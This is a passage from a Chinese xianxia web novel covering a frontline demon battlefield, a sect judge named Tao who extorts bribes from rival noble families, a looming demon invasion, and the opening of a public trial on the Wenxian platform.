传送过来的两人所在是一处高地,对面远方,遥遥可见魔物大军犹如黑色洪流,涌动不息,它们形态各异,有的巨大如山,有的则小巧灵活。
对应的高空之上,倾泻着术法炫光、剑气刀气、箭矢暗器等疾风骤雨般砸落在魔物群中,魔物或仰倒或消散一大片,但形成的短暂缺口很快又被后边魔物补上。
拦截这魔物大军洪流前行的,是一道延展的屏障,准确来讲,是一座竖立着的攻守兼备大阵。
当前仆后继的魔物群接近这道屏障,纷纷瞬时消融。
偶有几只魔物好不容易穿越过屏障离开,要么晕头转向重新转身靠近屏障回归被消融的命运,要么被凸起的地刺夺取性命。
这片不长的真空地带后,便是站立于各个阵眼附近的一批批修士,时刻戒备着,除却位于阵眼位置的修士,他们闭目凝神,默念口诀,无数灵力从体内抽调而出,推动着前方具有兼具毁灭杀伤力和坚固防御力的巨大法阵运转。
当阵眼处的修士灵力即将耗尽,就走往旁边的小型传送阵,被转移到后方营帐,而下一位修士会立马顶上,贡献灵力,确保维系整个大阵的运行。
然后是高地之下的近处,也算是后方营帐区域,只见房屋排列规则,布局紧凑而有序,每一座都散发着淡淡的灵光,显然是经过特殊设计,能够聚拢并储存微弱的天地灵气。
且房屋铸材质地坚硬,哪怕前方失守,人员撤回营地,也有短暂的缓冲区域。
张苔第一次来到前沿战场,目睹战局场面,不可谓不震撼。
虽说从前在留影珠上也见过类似场景,但而今,她才是真正明白,何所谓“阵法在前”战术,又为何前沿战场不能崩溃要把抗魔区域把握在人族手里。
尤其对比梦境中,张苔亲历与无数战友只能冲入魔物群中肉身相搏,没有丝毫退路,死了便是死了。
但置身于这里,她领会到战场对一条条鲜活生命的尊重。
“张小友,走了,我们还得前往指挥营帐。”
林磊在旁的声音牵扯回了张苔的思绪。
指挥营帐离传送位置不远,仍然是在这处高地的范围之内,疾行片刻之后就抵达了。
而且这处高地附近貌似就只有指挥营帐这一处营帐。
巨大的灵兽皮作顶棚,几面遍布符文且镌刻象征着玄天宗势力标识的旗帜插在上边。
且营帐周围搭建了陷阱,还有阵法环绕,若是不熟悉这
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些的人,很容易葬身于此。
林磊带着张苔避开机关陷阱,找到阵法生门,成功进入营帐之中。
营帐之内很大,显然外边的架构只是一个幌子,其内是一个独立开辟的空间。
这片空间中央摆放着一张宽大的长条形神木桌,桌中央铺展着几张详尽的地图,上面用不同颜色的标记勾勒着。
长桌两侧,每间隔一点缝隙后,就堆着各式各样的文书、玉简、卷轴,张苔扫了一眼,大部分是数据,还有复杂的阵法图案、符文等等。
也是长桌那里很空阔,张苔才能一眼看明了这些。
至于开阔的原因,想来那些将领都在各自的战场上吧。
两人在无人的营帐中等了好一会儿,才有位修士掀了帘帐进来。
“刘伍长。”
林磊行礼示意。
进来的这位刘伍长明摆着是认识林磊的,颔首后也问候道,“林大人客气,林大人是奉命来找王统帅要人去世家收军资吗?”
林磊点头,“敢问王统帅在何处?”
刘伍长:“和侦察队进旁边防护林查看魔物动向去了,如果魔物大军又有改道的迹象,也好提前进行布置。”
说着拿出了一卷地图,圈了一个范围,“目前她大概会在这处附近。”
林磊道谢,转头让张苔在此处先做等待。
张苔老老实实应了,为避免尴尬和无聊,在营帐选了个角落,就开始打坐修炼。
*
自张苔离开明刑峰,韩桂被捉拿关押进明刑峰冰牢后,申诉大殿的案件层层传递。
这一案件牵涉到世家与广大舆论的两面压迫,有资历担任案件裁决圣使的长老们纷纷避之不及,卷宗自然而然到了陶首座案头。
一天之内,韩家的两张请见拜帖,百里家的一张拜帖,接二连三送到了明刑峰首座府邸,在接连遭到退回和表达自己难处的回复后,次日清晨,百里家主亲自从凝光宗来到玄天宗,叩响了明刑峰首座住处的大门。
陶首座只得出门将人亲迎至正殿落座,身边侍从为二人斟茶。
“这是出自灵茶世家陆家,他们灵叶山庄里新采不久的极品灵茶叶云骨仙毫,不仅助益修行,先微苦后回甘的风味更是一绝,百里家主品鉴品鉴。”
只字不提那几份被退回的拜帖,更不问对方这般急切前来所为何事,仿佛这只是一次寻常的品茗小聚,推脱意味十足。
百里家主畅快端起茶盅,轻啜一口,“确为好茶,早听闻云骨仙毫的盛名,没想到有机会在陶首座这里尝到了。”
与此同时,百里家主也在细细打量眼前这位素有“收财饕餮”之名、却总能将敛财之事做得滴水不漏的明刑峰首座。
到底是经过风里来雨里去人生起起落落的厉害角色,自家妹妹跑跟前来说这事的时候,她一眼看出单凭那位穷苦修士,哪里有本事摸出那么多的蛛丝马迹。
不过案件紧急,一时来不及细究,只能匆忙找上案件裁决圣使斡旋,但心里各种想法怀疑还是有的。
陶首座显然很满意百里家主的回复,“百里世家根基深厚,哪里差这一口,但这也是我费尽心思才弄到的几罐,若不是百里家主你来,别人我可舍不得拿出来,且他们也品不明白。”
说着,又继续评判起茶来。
双方都明白,她这个修为,岂会感知不到对面之人的打量,不过不在乎罢了。更是昭示着关于韩桂强闯修士洞府、伤及凡人一案,她不会主动提,对面提了她也不会顺从如愿的意思。
45. 勒索
百里家主朝身后跟着来的随从使了个眼色,随从手捧着精致玉盒往陶首座方向一递。
“说真的不是很想打扰首座的雅兴,但我家外甥实在不争气,不知按律他会遭到什么惩处,又是否有转圜的余地。”
陶首座也不客气,用灵力拖着将玉盒凌空运到自己手中,神识探入看了一眼,玉盒又飞快消失,显然是送入了储物法器。
“百里家主大气,不愧是有着几百年底蕴的世家,来我这做客,都要送上一份不菲的见面礼。”
“至于你问的这问题嘛...也要看会审的具体情况,作为明刑峰的审案人员,涉事者来提前询问无可厚非,我们也是根据自己的所学来回答,按照宗门律令,至少也得废掉修为,驱逐到偏僻仙城修筑防御工事二十年。”
动作话语娴熟得像是这种事做习惯了的。
百里家主对于陶首座的作为显然是不满意的,重申道,“不知是否有转圜的余地。”
陶首座为难,“别看我是一峰首座,但也得按章程办事,尤其是这桩案件极其瞩目,不得不上公开的问仙台会审,哪怕底下几个审理使全部给出韩桂无罪的定论,但苦主确凿的证据在那里,我也得这么判啊。”
“否则宗主第一个把我从这位置上给撸了,韩桂又不是我儿子,这位置是我曾经辛辛苦苦上战场得的功勋和我苦熬这么久的经历换的,我可舍不得,要不你去搞定宗主?”
玄天宗的宗主是和林白圭一样的硬茬子,这么多年来遭遇的暗杀刺杀就没断过,百里家主能搞定就怪了。
不仅是玄天宗的宗主,八大顶尖宗门位于中州的五个,除了凝光宗,宗主全是和世家势力不对付的。
各宗门的驻宗世家不是没运作过自家族人上位宗主,偏偏上去一个死一个,无论人手怎么多怎么严加保护,还是会暴毙或被杀。
百里家主:“宗门规定律令中,难道就没有任何漏洞可钻?”
根据属下调查所给的资料,她记得陶首座颇为擅长此项,并为此敛下不少财。
陶首座思忖了一会儿,迟疑道“玄天宗的法典律令堆积如山,我这一时也回忆不起来啊。”
“百里家主莫怪,我这也是按规矩行事,宗门规矩里没有要求我们,会审前涉事人询问宗门律令刑统,我们审案人员必须回答。”
这幅作态,百里家主还有什么不明白,又是释然又是恼怒,传递给随从眼神,一堆匣子玉盒被灵力托着送到陶首座眼前。
“不得不劳烦陶首座好好想想,这里是一些辛苦费。”
陶首座照旧不推拒地看过之后全收了,“法典有些多,我回忆是回忆起来了一些,但是不知道精不精准呐。”
潜在意思是还不够,丝毫不懂得适可而止。
百里家主先前已经给出了一把上品灵石和不少价值不菲的丹器符阵,沉没成本太大,哪怕欲发火甩袖离开,但想到投入这么多,就探听到一个外甥可能的下场,实在是太亏了。
只能忍痛,又从袖子里摸出一套天阶的单木灵根进阶功法。
“陶首座坐到这个位置,也知晓市面上现在通行的进阶功法修炼心法是怎么一回事,听说陶首座最近收了个单木灵根的弟子,可以看看这套功法是否用得上。”
“这种功法的有价无市想来陶首座应当知晓,再多,我这里也没了,希望陶首座不要再卖关子,否则我百里家韩家也不是吃素的,你得了多少,我们这边要双倍讨回来。”
陶首座收了功法,不紧不慢道,“令甥这事,闹得太大了,漏洞之类的,哪怕是有,问仙台上判决让韩桂不痛不痒,也无法平众怒,我上头的宗主依然不满。”
见百里家主沉了脸色,她又赶忙道,“急什么?我这不话还没说完。”
“我看你们的主要目的,也是怕韩桂那一身修为给废了。
我知道宗门律令中有一条,大致意思是,凡犯事者身有功勋,刑罚可以功相抵,眼下也来不及让韩小友上前线战场,但韩家和百里家都是大族,通过捐赠资源硬生生换取出相应的功勋,免了废除修为的刑罚,倒不是问题。
至于二十年到尘世铸造防御,有人脉有资源,去那种地方不就跟走个过场似的。”
得到这个回答,百里家主深深地看了陶首座一眼。
“除此之外,别无他法?”
“从韩家旁支找个弟子改个名字,模糊模糊样貌,来顶罪;或者从影卫令牌身份下手,坚持说并非韩桂影卫,毕竟韩家影卫制度究竟是怎么一回事不到底还是韩家说的算?”
陶首座慢悠悠端起茶水饮了一口,“百里家主恐怕还是没有明白,这事,闹得太轰动了,这么多双眼睛盯着,至少要让宗主觉得差强人意,要在万千宗门弟子面前过得去。
玄天宗好歹作为元黄大陆八大顶尖宗门之一,汇聚能人,哪怕那日我以你伪造的理由给韩桂以无罪结案,真的假不了假的真不了,后续被再翻出来,不仅案子要重审,我还得退位让贤。”
说完,让下属送客,“我的建议已经给出来了,怎么做看家主您,你有更好的办法也可以,总之不要让我为难,否则任何能够对我这个位置产生风险威胁的举措我不会姑息。”
百里家主有些猝不及防,意犹未尽。
可是想想,这番对话下来,陶首座已经将整个案件的情况和应对底线都讲明白摆出来了,虽然整个过程收好处明显了点,但也坦荡敞亮,是在宗规之内。
于是百里家主也拱手做辞,“那我先回去,两家合计商量商量。”
陶首座颔首,“若是采纳了我的建议,想要联系咱们玄天宗的战场统帅,没有途径的话,也能来找我,中间的牵线费用免了,算我做个顺水人情。”
百里家主闻言嘴角抽抽,“那就多谢陶首座了,陶首座请留步,不必送。”
*
偌大的崔府中,一处偏僻荒废院落的柴房内。
一穿黑袍的高壮男子烦躁地在来回踱步,这位正是和崔仲豫搅合在一起的那位韩家庶子,韩朴。
蓦地,柴房的门无声无息地开了,韩朴自是一直留心着,登时大喜接应来人,压低声音道,“崔大,你总算来了,韩家夫人已经开始清点库房了。”
原来,早在张苔离去,百里家主拜访陶首座之前,陶首座底下的人已然找过崔仲豫和韩朴一趟。
崔仲豫现在也很烦躁,他怎么也没想到,那么严密的监视,完全在手掌心里的一个人,还能逃脱,偏偏还找上那样贪财的明刑峰首座。
他就想不明白,就算是一峰首座,哪来的能耐,将他们所有的谋算都看得一清二楚,还拿到了两人密谋的证据,明明每次相见都很谨慎,且进行彻底的扫尾。
本来以他们的能耐,在审案期间,不被韩家百里家看出端倪倒是没问题,等案子彻底落定,崔仲豫稍加运作完全能一人彻底担着所有的幕后推手。
两家也不能拿崔仲豫如何,这一年多以来,韩桂对他动手在先,一查便知,证据他也保留着,两人早是面和心不和,而今不过是技不如人罢了。
若是要动崔仲豫,那就是韩家毫不讲理,百里家更是鞭长莫及。
此事若成,韩桂修为被废,寿数在凡人中接近极限,哪怕有再好的天材地宝吊着命能够多活上十几年,怕也跟废人无异,于韩家下一任世子更是无望。
修士于子嗣上格外艰难,修为低微时还有个可能,韩朴的机会便来了。
韩桂长住在凝光宗百里家,而韩朴生母早逝,便被养在韩世子夫人名下当个玩
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意儿解闷,韩家和百里家要维系联系,下一任世子只能隔代传给韩桂的孩子。
但那孩子才出生不久,距离能理事还有好长一段路要走,于是很多权力势力,要先有个人接手,待那孩子长成再转交,这个人,很有可能就是韩朴。
韩朴也是以此,被崔仲豫看中而联手。
那时候哪怕韩家为着韩桂和崔家撕破脸也没什么,韩朴已跟他签下契约玉简,一些消息渠道未来对方必将告知于他,另外还有一些韩家背地里产业,他也有分成。
可以上全是谋算顺利进行的畅想,而今案子才受理,便被明刑峰首座抓住马脚派人找上门。
二人被明刑峰首座来人勒索的话还言犹在耳。
“案子还没开审,这消息一泄露,崔公子倒是有长辈出面能够顶着,但韩公子你,勾结外人把家族基业许给外人,韩家的惩处,一个死,恐怕还是轻的。”
其实事情败露,崔仲豫靠家里长辈躲是躲过一劫了,但之后在族里的日子就别想好过。
崔仲豫揉了揉眉头,“他们给多少好处,你摸清楚了吗?”
此话一出口,刚平息下来的头疼又开始了。
这明刑峰首座丝毫不愧对“敛财饕餮”的绰号,连进行勒索,其方式还是按比例来!
“若我家首座这边封口,韩公子在韩家夫人眼皮子底下要钱没钱、要人没人,想做点什么都难,崔公子焦头烂额忙着应付韩桂的暗算,也不在韩家内部哪知晓韩桂影卫的行踪。
可韩家那边可是会给出不少好东西的,尽管我家首座心底知晓,韩桂此人,犯下屡屡恶行,死不足惜,但我家首座也是凡夫俗子,没有提前收到价值那些好东西的四分之一,来早就镇定过心神,这一不小心,就容易嘴瓢。”
韩朴显然也回忆起这些,他手头上又完全是什么都没有的,只能写欠条,但那不还是全部由崔仲豫出?
偏偏崔仲豫给他的,让他摸清韩家所出数目的任务他也没完成。
他将韩桂身边影卫行踪一事暴露,府内严查,人人自危,连巡逻的侍卫是百里家高手的境况说了。
“大家都紧闭门户不外出,谨言慎行,深怕牵扯上自己,母亲现在连府内的问安都免了,我压根见不着她,故而无论是前往库房探听消息,还是到母亲那里去打听些什么,都太显眼了。”
“若不是怕你这边收不到我的回复会着急,我也不会冒险外出来见你,这次见过你后,到尘埃落定前,我恐怕也不会再外出了。”
得到这个回复,向来运筹帷幄的崔仲豫感到茫然。
良久,他沉沉叹了口气,对着又是愧疚又是焦虑的韩朴道,“我知道了,你赶紧回去吧,若是有人突然找你却发现你不在,可就麻烦了。”
韩朴恨不能马上飞奔回韩家,但惦记着事情,还是道,“那明刑峰首座那边,你准备给多少?”
他知道崔仲豫这种当家族继承人培养的,参与家族事务,尤其是外出公干可以捞不少油水,甚至有一定的权利,可以挪用家族库房中的宝贝。
“崔大,而今是关键时期,明刑峰那边将事情抖落的话,咱俩都完了,你母家败落,你父亲向来不喜你,你若倒了,向来被你压着的那一众庶弟们,是不会放过你的母亲妹妹妻子孩子的。”
崔仲豫哪能不明白韩朴的心思,深怕自己给少了,或者直接放弃,完全不给将资源全转移了,之后再金蝉脱壳。
他心里自有一把算盘,但面上还是顺从道,“这些年的积蓄我会全投进去的。”
韩朴绝望,“这哪够?韩桂可是韩家和百里家的金疙瘩。你不是崔家继承人吗?库房中的东西,那些灵石矿脉、法器法衣铺等,可以抵押筹措一些,等我手握一些韩家基业后,我还给你。”
46. 累卵
崔仲豫对于韩朴失望透顶。
这种合作对象,事成之后,便彻底断了吧,好在先前谨慎,关于两人的交集,双方都签订了契约玉简,不能往外透露分毫。
他耐着性子宽慰韩朴道,“百里家主统领整个百里家也不容易,她动用百里家的东西捞外甥,百里家会怎么想?至于私藏,她女儿的事才平息多久?贴补自家女儿还不够。”
“至于陶首座,泄露了我们的事情,整个案件会变得极为复杂,而且韩桂做下的事情,韩家那边敢送东西,她也得有那个胆量冒极大的风险去收,而我这边给的东西有那么多,却是毫无风险的。”
“不然怎么一开始,她便只要我们给出韩家那边能给的四分之一?何不直接收了韩家那边的好处?”
见韩朴的情绪被他安抚下来,他道,“好了,你赶紧回去吧。”
“就像你先前所说,回去后就别来找我了,你们家严查得不到结果,之后难免有引蛇出洞的陷阱等着你,到时别急着出头,相信我在外边能够周全,你谨小慎微了那么多年,别在这时候反而疏忽掉链子。”
韩朴诺诺应是,然后离开了。
*
百里家主回去和韩家夫人一商讨,发现还真只有陶首座给的那个法子最能免除后患。
两人先找了相熟的世家有在玄天宗前沿战场做统帅的。
问及这捐赠资源,功勋的获取,那个兑换比例,让韩家夫人这个当亲娘都想直接舍了这个儿子算了。
这一个战场的功勋兑换显然不够,百里家主想起了林白圭这个上各宗号召诸驻宗世家捐赠资源的人物。
她和此人皆出自凝光宗,但立场对立,世家对凝光宗的掌控可以说是世家的后花园,此人却偏看不清形势似的,几次三番和世家作对,屡败屡战。
然而不得不说,此人的做派极其君子,纵使再看不惯韩桂为人,有资源投入前沿战场,这种他认为利于人族利于大众修士的事情,还是会积极认真推进。
于是索性找了林白圭作为中间人,联系到玄天宗的几位前沿战场的主帅,那边基本上都派了副将来详谈。
又让其作为见证,将修炼资源以韩桂名义捐赠换取功勋。
她拿着一堆功勋铁券和捐赠影像到明刑峰,向陶首座问道,“不知这些功勋,可否免了韩桂废除修为的惩罚?”
陶首座似笑非笑地看了百里家主一眼,“足够了还有多,家主何不事先来问我,也能省些资源。”
百里家主还不知道陶首座的德性?
问一次就得大出血一次,精于研习玄天宗律令的人他们也有,这种能够不麻烦陶首座的事情她是丝毫不敢麻烦。
哪怕在底下人给出的数目上再加一些资源,也好过给陶首座白白占便宜。
听闻不过是他们这边兑换功勋的几日,这位陶首座又抓着一位辖地内世家弟子过错,让其家献上不少好处才没让人脱一层皮的放出来。
要她来看,玄天宗辖地的世家太势弱了,才会被统辖宗门狠狠拿捏。
这次她来,连陶首座的茶都不敢喝。
但也怕这人不配合地进行刁难,她推过去一个盒子,“从宗门章程上来说,此案应是没什么问题了,但如果有意外发生,还望首座能够稳住场面,让此案顺利了结。”
陶首座笑着回,“好说好说,百里家主放心回去,此案一定会顺利了结。”
*
自张苔从烬土战场回来后,被带到林白圭住处的一间客房。
之后基本上就是在这间客房苦修,她隐约还知道,林磊再度前往好几个玄天宗归属的战场,请回来一些战场副将,也安置在其余客房。
日子陆陆续续过去了七天,距离问仙台会审还有一日之时,初见林白圭引荐的那位小厮找上门,再度将她带到了林白圭的面前。
与上次面见林白圭时,整个花厅安安静静只有林白圭一人不同,此次他身侧还多了一位正哗哗翻着玉简,梳着高髻的清丽女修。
张苔细看,发现自己还真知晓对方的身份,正是他们玄天宗明刑峰的首座陶小碗。
明刑峰上有座公开的问仙台,当有案件是宗门很多弟子关切的,抑或苦主同意公开甚至要求公开的,便会上问仙台进行会审。
陶首座感知到张苔的打量,抬眸看来,笑着道,“小姑娘你来啦,这次林首座你可得好好谢谢你,不然没了韩家贡献的一大笔,他别想从咱们玄天宗这边腾出那么多修炼资源给带到他们凝光宗抗魔辖境去。”
“你想要什么尽管开口,他若不应,我这边可不依。”
面见这等人物,张苔身为凡夫俗子,难免有些战战兢兢,尽管陶首座话语轻松调侃,她还是恭敬谨慎道,“能帮到两位大人,能为抗魔战场做出一份贡献,是我的荣幸,能保住我和老母的一条性命,其余不敢奢望。”
林首座察觉张苔的拘谨,面对低着头的张苔,和缓着声音道,“既已投靠在我等,这点你大可放心。”
“另外,我们的运作,虽说不能让韩桂得到宗规‘废除修为,逐出玄天宗’的惩罚,但韩桂恐怕难逃一死,崔仲豫也付出代价,别想像预设中仅凭借你的事大做文章便得偿所愿。”
念及这些都是作恶之人的自食恶果,而苦主这边还没得到应有的安抚。
他又道,“贵宗的宗礼峰抚烈苑,明日会审之时,你可尝试争取。”
以两人的势力,并非不可直接划拨一个名额给张苔母亲,但林白圭有意锻炼张苔,若是明日对方在场上唯唯诺诺当个摆设般,将整个流程囫囵过了,这个名额照旧还是会给。
这是他的行事习惯,给弱小者能够立起来的机会,做不到也不会太苛责,境遇塑造人,这不是他们的过错,最关键的,还是要营造一个好的生存环境,让弱者免于遭受欺凌。
这边张苔正欲张口应承,一道黑影风一样窜进来,在张苔不远处跪下。
“主上,前线紧急军情密报。”
张苔是个知分寸的人,听到这里,迅速跟着带自己来的小厮离开了。
片刻后听完汇报的林白圭就准备马上动身。
陶首座施了个隔音术法,一边问道,“什么事这么着急?明日会审韩家那边还需要你领着几位副将出面做个见证。”
鉴于林白圭的近卫统领是用传音汇报,故而她也不清楚具体发生了什么。
林白圭吩咐着此行让哪些属下队伍跟从,然后抽空对陶首座道,“我会留下代表着我的近随林叔,事态严重,韩家那边能理解。”
“西南域魔物调集至少三十万魔卫魔将级别的高等魔物及一百四十万祂们衍生出来的低等魔物,打算以白骨荒原战场为突破口,打通后边几个战场,直接攻入中州。”
骤然听到这个消息,陶首座也骇了一跳,“魔物的数量怎么会一下子激增这么多?消息来源可靠吗?”
林白圭深深看陶首座一眼,“消息是师尊继承下来的那批暗桩死间传来的。魔物数量涨肯定涨了不少,但恐怕更多的还是以前遗留潜藏的。”
陶首座听了也是直皱眉,“这一代魔物委实太过狡猾,谁知道祂们居然会按照每任战神的任期,佯装败逃被清剿,又早就接近师尊并挑好算准老四会拜入门下,再加上经营了这么些年的众多世家大族自是不愿放权而造势,任由了祂们那么多的魔物四散潜逃。”
纵观以往的历史,都呈现着这么一种规律,魔物进犯至领地纷纷失陷,人族危如累卵之时,各路英雄豪杰如雨后春笋般接连而出,带领强烈反扑的众多普通修士重新收复失地,而魔物们节节败退重新龟缩回西南域,直至被彻底清剿,剩下一点点漏网之鱼。
然后便是人族势力洗牌,新任战神登位,创造新一轮的盛世。
偏偏百余年前,中州堪堪沦陷一角之时,就出现一人马军队势如破竹,直接打入西南域魔军大本营,斩首魔帝。
随即中州的各队魔物大军因为失去首领混乱,纷纷回归西南域,却又中了斩首魔帝军队的埋伏,虽然后续各路势力都趁胜追击参与围剿,但斩首魔帝军队的声誉可想而知。
因为中州并未沦陷,中州世家并未失权奔逃至东南域一角,手上仍然把持着中州大量灵材灵矿等修炼资源,若是魔物壮大进犯的祸患未平息,还会有不少新涌现的枭雄抢夺这些。
于是便开始举荐,也在民间造势,魔物尽清楚,大获全胜,呼吁斩首魔帝军队
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首领人为新任战神。
师尊为整个中州的稳定考量,再加上斩首魔帝的那一势力,正是由四师弟主导,他顺势退位。
但四师弟不受,当时深入魔军腹地本意是想作乱减轻中州的压力,结果莫名其妙每次一出手便是惊天战果。
抗击魔物的战役他打过不少,这一战,胜利到他都要受之有愧,没有诡计,他是不信。
争执之下,战神的位置,他更是直接推给了大师兄林白圭,并言之,反正自始至终,无论作战还是会面各方势力他脸上都带着面具,大师兄取而代之也不会有人发现知晓。
大师兄是个骄傲的人,这种带有“让”性质的自不会受,两人之间有了龃龉。
后来又是一阵惊变,战神之位传于现任战神万俟钧,师尊没多久后暴毙,临终时的举动和言语更是惊骇,他们师兄姐弟之间的怀疑冲突加深。
直至此任被师尊推上去的战神统治百年,相比于上任战神任期百余年的欣欣向荣,这百余年虚假繁荣下各种积弊混乱徒发,也是让他们逐渐反应过来他们也中了计谋的一环。
当初他们几位同门都被师尊派遣,各自带领手下抗击魔物大军,本意也是延缓拉锯魔物大军进犯的速度,对于最终态势,他们不是没有过怀疑。
但有些话、有些行为,由于身份的敏感尴尬,他们为人弟子,为人同门,也不好放开去施展。
之后师尊死前疯狂的作为以及笃定他们之中有魔物叛徒的言语,又让他们把大部分心力放在彼此提防上。
其余的世家更是一味追逐权势财富、排除异己更不必多说。
于是修仙界上层相互争抢厮杀彼此消磨,民间守着“五百年内安稳”的铁律一派安乐。
约莫二十年前,魔物又开始大量在西北域汇集,西北域的战区战场再度重启。
这自然让整个修仙界有片刻的惊醒,但一见捷报连连,战线未往中州推进,警惕心维持一阵,很快又坠落下来。
毕竟民间普通修士凡人面对这种事本就有心无力,而上层世家又哪里肯砸资源出人手招兵马。
大多也就自欺欺人地想着,魔物向来是杀不尽的,每任战神清剿魔物登位清净个几十年,又有魔物卷土重来也是常事,只要魔物还在层层防线之外,便不打紧。
这时候他们同门已然惊醒过来,纵使彼此之间有着防备,但除了不知是不是本就有鬼的老四,其余师兄姐弟之间还是试探着更深层次的商量接触。
随后林白圭放在这任战神身边耳目传来密信,魔物那边见整个人族在祂们的谋划之下,战意斗志实力都大幅下跌,时机成熟,分为两路。
大部分重新在西南域重新聚集发起进攻,而小部分潜藏在人族势力范围内的魔物亦纷纷冒头,进行前后夹击。
还附带这条密信的渠道,正是来自他们师尊在接任战神之位时,除却接任财富势力,还有一组插在魔物中的暗桩死间。
这些人手自然被他们师尊传给了此任战神。
也是这条密信,犹如当头棒喝,让几人以雷霆手段迅速或合作或掌控中州除却凝光宗的剩余四大宗门的中枢势力,集齐可以汇集的力量抗魔。
那些暗桩死间在魔物大军集结过程中搅风搅雨、延缓进程,又联系上一些被驱赶至西北域的民间反叛军找出或者清理出据点,让他们这边构建大型传送阵派高阶修士过去,潜伏在西北域突袭收割魔物性命。
世家这边,通情达理的,能游说出资源的出资源,游说不了坚持“在魔物攻入前能捞则捞能攒则攒”的,便采用非常规手段或打压或劫掠。
为了维持稳定,不引起中州大面积的恐慌混乱,真正的战场形式情况并没有在民间进行公开。
但所有的风声也没全部压下来,民间的有识之士英雄豪杰,也是能够通过一些端倪,猜测出真相,筹谋应对之法。
可以说,他们能做的都做了,先前看似平静的二十年,实际上也是双方博弈的结果,明面上他们在拖延,在给人族这边更多的喘息时间,魔物那边也确实很快难以很快将魔物大军聚齐。
陶首座沉沉叹了一口气,也不知未来修仙界走向究竟如何,只能说,尽人事,听天命吧。
47. 台上
张苔跟着小厮打扮的那位修士七拐八绕地走到了安置她的那间客房。
这一路她浑浑噩噩、心神恍惚,那句“紧急军情”很难不让她多想,尤其是有过一个宛如亲历,至今仍记忆犹新的梦境的情况下。
按照梦境里的时间线,白骨荒原战场很快就保不住,紧接着那一条路径上的层层防线被不断攻破,之后就是林白圭在前线战场英勇就义的消息传到凝光宗,梦境视角跟随的主角就在凝光宗律令峰做执事弟子,随着整座峰权力更迭角逐,全峰上下紧绷压抑、暗流汹涌。
梦里的那些画面都是浮云,最重要的是,林白圭真的命不久矣了吗?
站在门口,在小厮恭敬说完“还请贵客安心等待最后一天,明日陶首座会前来携着贵客前往问仙台。”这句话转身之后,一股没来由的心慌达到巅峰。
“等等。”
在她没反应过来,话已经脱口而出。
可现在一回想,遑论梦的虚假性,即便为真,她如此一个实力不济的普通修士,自己还身陷麻烦,又有什么能够帮得上的呢?
在小厮转身微笑开口询问前,她又赶紧道,“没什么,我想岔了,小友继续去忙吧。”
回到房中,不知为何,她始终无法安心下来。
于是她审视起自己,神识进入储物法器,在扫到简直跟落灰无异的那具[阳煞驭魔柩],她眼睛一亮。
“你记不记得我曾说过,会给你找一个资质极其优秀的正派之人,先前那位男尊者你应该感受到了吧,听说他的修为可在化神之上!这个新主人怎么样?”
“现在我就跟你解契,待会儿你就去找他,不是我不陪你去,主要是我找不着他,身为神器,这点应该对你来说没有问题吧?”
相比于认主时的极其艰辛,解除这段关系十分轻易。
她一点一点烙印沾染上的痕迹,一抹除起来就是一大片。
念及当初为了这件神器所冒上的风险,不愿自然是有,但比起铸造者的心血,以及完工时留下的“神器发挥效果和持有者实力息息相关”、“切莫埋没神器”,实在让她羞愧。
遥想身在西北域,禹康平还在身侧时,她让禹康平配合她试验一下神器的威风。
结果将浑身灵力耗干,才镇压魔物最低境界魔卒三个刹那的时间,更别说发挥第二个特性操纵了——正是由此,能够看见此神器的上限到底有多高。
清晰地感受到自己与神器的关联越来越弱,直至彻底没有。
最后抚摸了一下神器漆黑冰冷的棺身,张苔轻声道,“去吧。”
[阳煞驭魔柩]悬浮在半空中,半晌后嗡鸣一声,化为流光穿过房间消失在视野。
*
作为在问仙台审理的公开案件,玄天宗所有弟子都可以去观看,有途径知晓。
这件事又涉及世家子弟和普通弟子的冲突,还是明刑峰首座裁决,足够吸睛。
而逢魔时代向来不缺因各种负担而感到头顶重压的修士们,像这种案件,在问仙台下痛骂几句,不失为一种情绪发泄口。
张苔料想到问仙台会很热闹,毕竟她曾经见证过几次,之后穿行前往目的地都是绕开这一块御剑飞。
但真的随同陶首座传送到达后,站在高台之上,一眼扫过下边周围乌泱泱的人群,光是想想待会儿自己的一言一行都被这么多双眼睛以及千丝万缕的神识关注着,难免还是发憷。
转念一想,目前这种情况和机会,是她费尽心思才谋求得到的。
再加上陶首座很是淡定地,完全视他人为无物,驾轻就熟走向前侧上首最大最醒目、象征着裁决圣使的桌案,张苔的心神也定了一定。
大部分宗门都定下了维护宗门规矩律法的峰,其弟子都是由普通执事开始,慢慢擢升到明镜使再到审理使,有机会成为裁决长老,以及极其渺茫的希望升任首座。
一峰之中,只有裁决长老和首座才有资格担任一桩案件的裁决圣使。
问仙台的审理决断人员除却拥有最后论定权的裁决圣使,还有五位审理使各携带两位明镜使。
审理使可在台上发话询问阐述意见,而明镜使只负责记录案情。
其实到了会审阶段,无论是问仙台还是不公开的灵境会审,明刑峰受理的案件,已经着执事弟子经过侦察、取证、羁押案犯入监等等步骤,但会审一般还是很难一次就审结,往往还是要经历几次“升堂—退堂—再升堂”的循环。
不过她这桩案子,事实清楚、证据明确、还是事先经过几方角力,涉案苦主和案犯都想迅速结案的存在,约莫还是能够一次审结。
等待的时间里,张苔一边认真打量各上场的人物,一边漫无边际地想着一些与之相关的事情。
直至侧立于陶首座身旁的执事弟子低声禀报“时辰已到”,陶首座一拍醒木,顷刻扫尽周身那抹慵懒随意,看向被押解着的韩桂。
“韩桂。”声线不高,却带着千钧之力,沉沉压满整个问仙台及附近,“张苔状告关于你遣人强闯她洞府,祸及她的凡人老母,本尊问你,确有此事?”
被押解的韩桂木然没有反应。
整套流程他习以为常,每次犯事,家中人都会为他打点,并让他在会审时尽量少说,能保持沉默则保持沉默,以免胡言乱语打断场上打点后肩负让他脱罪之人调整的节奏、所做的准备。
此时一位韩家塞进去的审理使发话了,“一个人做什么事情总要有所动机,韩道友和张道友,两个八竿子打不着的人,韩道友为何会对张道友做出如此行径。”
证据确凿,韩家那边虽说已经做好打算用功勋来抵刑罚,但该挣扎还是挣扎。
陶首座不带温度的目光瞥过说话的审理使,“此案已有不少确切证据指向,韩桂是案犯无疑,余审理办案严谨,坚持查清楚动机,所以余审理是在建议我当众上刑,让案犯交代出手动机?”
余审理深怕陶首座下一句是让人上刑器,自己回头还要吃韩家那边的挂落,当即抢过话头示弱道,“是我太过死板,查明动机,是为了判断案件性质、衡量罪犯是否为主观恶性,以此定刑罚轻重。”
“只要物证、他人口供状告、伤情检验等都能确认性质恶劣,且案犯为故意,且证据能相互印证,形成一个完整链条,那么动机的确认,是锦上添花,而非基石。”
陶首座似笑非笑,“既然案犯不认,余审理也质疑证据,那么现在,摆证据。”
